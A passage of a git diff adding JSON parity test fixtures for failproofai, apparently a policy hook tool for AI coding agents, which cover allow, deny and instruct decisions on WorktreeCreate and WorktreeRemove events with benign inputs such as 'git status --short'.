"Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/WorktreeCreate/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/WorktreeCreate/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..4e727dd7 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/WorktreeCreate/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "deny", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/WorktreeCreate/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/WorktreeCreate/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..45816b32 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/WorktreeCreate/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "deny", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/WorktreeCreate/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/WorktreeCreate/deny__tool-present__one-policy.json new file mode 100644 index 00000000..91cba3a7 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/WorktreeCreate/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "deny", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/WorktreeCreate/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/WorktreeCreate/deny__tool-present__two-policies.json new file mode 100644 index 00000000..848394bf --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/WorktreeCreate/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "deny", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/WorktreeCreate/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/WorktreeCreate/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..61c83ba4 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/WorktreeCreate/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/WorktreeCreate/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/WorktreeCreate/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..622830a0 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/WorktreeCreate/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/WorktreeCreate/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/WorktreeCreate/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..d54301b3 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/WorktreeCreate/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/WorktreeCreate/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/WorktreeCreate/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..d0420bf5 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/WorktreeCreate/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/WorktreeRemove/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/WorktreeRemove/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..95e2e417 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/WorktreeRemove/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/WorktreeRemove/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/WorktreeRemove/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..86009c41 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/WorktreeRemove/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/WorktreeRemove/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/WorktreeRemove/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..00f15a8f --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/WorktreeRemove/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/WorktreeRemove/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/WorktreeRemove/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..48d86311 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/WorktreeRemove/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/WorktreeRemove/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/WorktreeRemove/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..3c5df8e4 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/WorktreeRemove/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/WorktreeRemove/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/WorktreeRemove/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..e3acec4c --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/WorktreeRemove/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/WorktreeRemove/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/WorktreeRemove/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..dd8978e2 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/WorktreeRemove/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/WorktreeRemove/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/WorktreeRemove/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..2d82db65 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/WorktreeRemove/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/WorktreeRemove/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/WorktreeRemove/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..04aa983c --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/WorktreeRemove/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "deny", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git 